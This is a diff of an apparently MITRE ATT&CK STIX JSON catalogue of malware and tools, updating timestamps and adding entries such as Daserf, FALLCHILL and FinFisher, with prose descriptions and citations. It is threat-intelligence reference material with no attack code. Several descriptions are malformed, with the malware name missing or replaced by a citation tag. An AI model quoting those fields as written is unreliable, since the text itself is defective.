+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BLACKCOFFEE",
             "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013. (Citation: FireEye APT17)\n\nAliases: BLACKCOFFEE",
             "labels": [
@@ -16705,7 +17572,7 @@
             "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:08.292Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BOOTRASH",
             "description": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector. (Citation: MTrends 2016)\n\nAliases: BOOTRASH",
             "labels": [
@@ -16735,7 +17602,7 @@
             "id": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.994Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BS2005",
             "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)\n\nAliases: BS2005",
             "labels": [
@@ -16765,7 +17632,7 @@
             "id": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:33.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BUBBLEWRAP",
             "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper",
             "labels": [
@@ -16796,7 +17663,7 @@
             "id": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:59.661Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Backdoor.Oldrea",
             "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)\n\nAliases: Backdoor.Oldrea, Havex",
             "labels": [
@@ -16827,7 +17694,7 @@
             "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:57.807Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BlackEnergy",
             "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)\n\nAliases: BlackEnergy, Black Energy",
             "labels": [
@@ -16858,7 +17725,7 @@
             "id": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:20.137Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CALENDAR",
             "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR",
             "labels": [
@@ -16888,7 +17755,7 @@
             "id": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.389Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CHOPSTICK",
             "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp",
             "labels": [
@@ -16927,7 +17794,7 @@
             "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:18.506Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CORESHELL",
             "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE",
             "labels": [
@@ -16958,7 +17825,7 @@
             "id": "tool--c9cd7ec9-40b7-49db-80be-1399eddd9c52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cachedump",
             "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump",
             "labels": [
@@ -16988,7 +17855,7 @@
             "id": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:52.875Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CallMe",
             "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe",
             "labels": [
@@ -17018,7 +17885,7 @@
             "id": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:22.213Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Carbanak",
             "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak",
             "labels": [
@@ -17049,7 +17916,7 @@
             "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:22.451Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ChChes",
             "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: ChChes, Scorpion, HAYMAKER",
             "labels": [
@@ -17091,7 +17958,7 @@
             "id": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:05.710Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cherry Picker",
             "description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker",
             "labels": [
@@ -17121,7 +17988,7 @@
             "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:18.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "China Chopper",
             "description": "China Chopper is a Web shell hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups, including Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: China Chopper",
             "labels": [
@@ -17156,7 +18023,7 @@
             "id": "malware--cbf646f1-7db5-4dc6-808b-0094313949df",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.128Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CloudDuke",
             "description": "CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)\n\nAliases: CloudDuke, MiniDionis, CloudLook",
             "labels": [
@@ -17176,7 +18043,7 @@
                 {
                     "source_name": "Securelist Minidionis July 2015",
                     "description": "Lozhkin, S.. (2015, July 16). Minidionis \u2013 one more APT with a usage of cloud drives. Retrieved April 5, 2017.",
-                    "url": "https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/"
+                    "url": "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/"
                 }
             ],
             "object_marking_refs": [
@@ -17193,9 +18060,9 @@
             "id": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cobalt Strike",
-            "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d.  Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nThe list of techniques below focuses on Cobalt Strike\u2019s ATT&CK-relevant tactics.\n\nAliases: Cobalt Strike",
+            "description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d.  Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike",
             "labels": [
                 "tool"
             ],
@@ -17223,7 +18090,7 @@
             "id": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:13.252Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ComRAT",
             "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT",
             "labels": [
@@ -17258,7 +18125,7 @@
             "id": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.550Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CosmicDuke",
             "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina",
             "labels": [
@@ -17291,7 +18158,7 @@
             "id": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CozyCar",
             "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT",
             "labels": [
@@ -17325,7 +18192,7 @@
             "id": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:08.679Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Crimson",
             "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\n\nAliases: Crimson, MSIL/Crimson",
             "labels": [
@@ -17351,12 +18218,49 @@
                 "MSIL/Crimson"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Daserf",
+            "description": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)\n\nAliases: Daserf, Muirim, Nioupale",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0187",
+                    "external_id": "S0187"
+                },
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Daserf",
+                "Muirim",
+                "Nioupale"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:18.668Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Derusbi",
             "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi",
             "labels": [
@@ -17391,12 +18295,42 @@
                 "Derusbi"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "DownPaper",
+            "description": "is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0186",
+                    "external_id": "S0186"
+                },
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "DownPaper"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:16.790Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Downdelph",
             "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)\n\nAliases: Downdelph, Delphacy",
             "labels": [
@@ -17427,7 +18361,7 @@
             "id": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:31.188Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Duqu",
             "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)\n\nAliases: Duqu",
             "labels": [
@@ -17457,7 +18391,7 @@
             "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:41.750Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DustySky",
             "description": " (Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2\n\nAliases:  (Citation: DustySky), NeD Worm",
             "labels": [
@@ -17487,7 +18421,7 @@
             "id": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dyre",
             "description": "Dyre is a Trojan that usually targets banking information. (Citation: Raff 2015)\n\nAliases: Dyre",
             "labels": [
@@ -17517,7 +18451,7 @@
             "id": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:43.237Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ELMER",
             "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)\n\nAliases: ELMER",
             "labels": [
@@ -17547,7 +18481,7 @@
             "id": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.416Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Elise",
             "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)\n\nAliases: Elise, BKDR_ESILE, Page",
             "labels": [
@@ -17579,7 +18513,7 @@
             "id": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.772Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Emissary",
             "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)\n\nAliases: Emissary",
             "labels": [
@@ -17609,7 +18543,7 @@
             "id": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:58.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Epic",
             "description": "Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal",
             "labels": [
@@ -17624,7 +18558,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
@@ -17643,7 +18577,7 @@
             "id": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "EvilGrab",
             "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: EvilGrab",
             "labels": [
@@ -17668,12 +18602,42 @@
                 "EvilGrab"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FALLCHILL",
+            "description": "is a RAT that has been used by Lazarus Group since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other Lazarus Group malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)\n\nAliases: FALLCHILL",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0181",
+                    "external_id": "S0181"
+                },
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FALLCHILL"
+            ]
+        },
         {
             "type": "malware",
             "id": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:28.754Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FLASHFLOOD",
             "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD",
             "labels": [
@@ -17698,12 +18662,42 @@
                 "FLASHFLOOD"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FLIPSIDE",
+            "description": "is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0173",
+                    "external_id": "S0173"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FLIPSIDE"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FTP",
             "description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)\n\nAliases: FTP, ftp.exe",
             "labels": [
@@ -17734,7 +18728,7 @@
             "id": "malware--bb3c1098-d654-4620-bf40-694386d28921",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:52.470Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FakeM",
             "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM",
             "labels": [
@@ -17759,12 +18753,47 @@
                 "FakeM"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Felismus",
+            "description": "is a modular backdoor that has been used by Sowbug. (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)\n\nAliases: Felismus",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0171",
+                    "external_id": "S0171"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                },
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Felismus"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.569Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fgdump",
             "description": "Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)\n\nAliases: Fgdump",
             "labels": [
@@ -17789,12 +18818,47 @@
                 "Fgdump"
             ]
         },
+        {
+            "type": "malware",
+            "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FinFisher",
+            "description": "is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21)\n\nAliases:  (Citation: FinFisher)",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0182",
+                    "external_id": "S0182"
+                },
+                {
+                    "source_name": "FinFisher",
+                    "description": "FinFisher. (n.d.).  Retrieved December 20, 2017.",
+                    "url": "http://www.finfisher.com/FinFisher/index.html"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
